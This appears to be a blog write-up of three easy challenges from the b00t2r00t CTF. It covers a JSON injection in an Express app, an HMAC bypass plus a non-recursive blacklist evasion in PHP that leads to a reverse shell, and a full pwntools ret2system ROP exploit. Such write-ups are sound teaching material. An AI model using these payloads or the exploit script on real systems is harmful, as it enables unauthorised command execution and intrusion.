My team (just me, my teammate is having his final) solved 3 problems in the recent concluded b00t2r00t CTF, the event didn’t have many participants but the challenges are fairly good. On a scale of 10 in difficulty, it’s probably around 3. The three problems I solved are two web challenges and one pwn challenge.
Dr Jason (Web)
Description
IP : http://67.205.134.115:46911/ Only Admin can see the flag
Author :Dungeon_Master
Solution
A server.js
file is also given.
const express = require('express');
const bodyParser = require('body-parser');
var cors = require('cors');
require('dotenv').config();
const app = express();
app.use(bodyParser.json({extended: false}));
app.use(cors());
app.post('/flag',async (req,res)=>{
if (!req.body.name || typeof req.body.name !== 'string') {
res.status(400).json({success: false, error: 'Invalid token'});
res.end();
return;
}
const name = req.body.name;
var token = `{"admin":0,"name":"${name}"}`
try{
token = JSON.parse(token);
}
catch{
res.json({success: false, error: 'Invalid token'});
res.end();
return;
}
if(token.admin === 1){
res.json({success: true, flag: process.env.FLAG})
}
else{
res.json({success: false, error: 'You are not admin'});
}
})
app.listen(3000)

This challenge is a fairly easy json injection problem. We need the admin token to be 1, but it was pre-set to be 0. However, we can control the name
field.
{"admin":0, "name":"asd"}
Would be a normal token, but what if we use "
to break out the double quote and re-assign the admin
field?
{"admin":0,"name":"asd","admin":1,"name":"a"}
will be what happens if we do an injection in the name field. If we provide our name to be asd","admin":1,"name":"a
, then it should make our token valid as admin.
Register, and then click the flag
button.

Flag
b00t2root{js0n_1nj3ct10n}
Buggy PHP (Web)
Description
IP : http://165.22.179.69/ pass through the php filters to get the flag
Author:Dungeon_Master
Solution
They are nice enough to give out the source code of index.php
.
<?php
require('req.php');
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);
show_source("index.php");
if (empty($_GET['hash']) || empty($_GET['cmd']) || empty($_GET['tmp'])){
exit;
}
$key = getenv('KEY');
if(isset($_GET['tmp']))
$key = hash_hmac('sha256',$_GET['tmp'],$key);
$hash = hash_hmac('sha256',$_GET['cmd'],$key);
if ($hash !== $_GET['hash']) {
echo "NO flag for you";
exit;
}
$cmd = preg_replace($filter, '', $_GET['cmd']);
echo exec("cmd ".$cmd);
?>
We cannot let hash
, tmp
, and cmd
parameter be empty, otherwise the application will just exit. We also need to make sure the hash
parameter is the same as the $hash
variable in the code. But $hash
is computed with a key we don’t know.
And here comes the trick. You see
$key = hash_hmac('sha256',$_GET['tmp'],$key);
if it is to computer the hash for an array, it will return NULL instead of an actual hash.

And with that, now we know the value of key, and we can just compute the hash on our own. But don’t be happy just yet, before the exec
call, the $cmd
is being filtered. I saw preg_replace
function and immediately know the input isn’t being filter recursively.
Let’s say our input is whoami
, and this very word in is the blacklist and it will be replaced to an empty string. But if we put whowhoamiami
, it will replace the whoami
with empty string, we are left with another whoami
as result.
The process is quite long so I will just leave the result here. I used base64
to get a reverse shell and got flag. base64
is also in the blacklist so babase64se64
would work. The base of my payload is just echo (base64 encoded command) | base64 -d | sh
. I can write a script to make things easier but didn’t really bother.

And here is the final HTTP request.

Here is the screenshot containing the flag.

I feel like I probably just should use grep
, but oh well.
Flag
b00t2root{Bu99y_pHp_Ch4ll3n93s}
Welcome To Pwn (Pwn)
Description
Welcome to pwn, here is an easy challenge to get you started.
nc 35.238.225.156 1001
Author: Viper_S
Solution
A binary file was given.

NX is set, so no shellcode for us today.
I used cutter
to decompile the binary and found the function system
lies around. Then I know it’s just going to be ret2system type of challenge.
Then find the overflow point using gdb
.

And let’s construct payload. The reason for finding pop rdi
is how x64 architectures pass arguments. The first 6 arguments are stored in registers rdi, rsi, rdx, rcx, r8, r9
. Since the function we want to call (system) only needs one argument, that’s why we need to find pop rdi
. Similarly, if more arguments are needed, we also need to find pop rsi
, pop rdx
and more…

Here is the final exploit:
#!/usr/bin/env python3
from pwn import *
filename = './welcome'
elf = ELF(filename)
context(arch='amd64', os='linux')
#context.log_level = 'debug'
offset = 152
system_addr = elf.plt['system']
pop_rdi = 0x000000000040128b
sh_addr = next(elf.search(b'/bin/sh\x00'))
main = 0x0040119a
puts = elf.plt['puts']
junk = b'm' * offset
payload = flat(
junk, pop_rdi,
sh_addr, puts,
pop_rdi, sh_addr,
system_addr
)
host = '35.238.225.156'
port = 1001
r = remote(host, port)
r.sendlineafter('got', payload)
r.interactive()
Initially I was unable to get shell for god know what reason. Then I added some additional instructions to probably align the stack and it worked.

Flag
b00t2root{W3lc0m3_T0_Pwn_YjAwdDJyb290JzIw}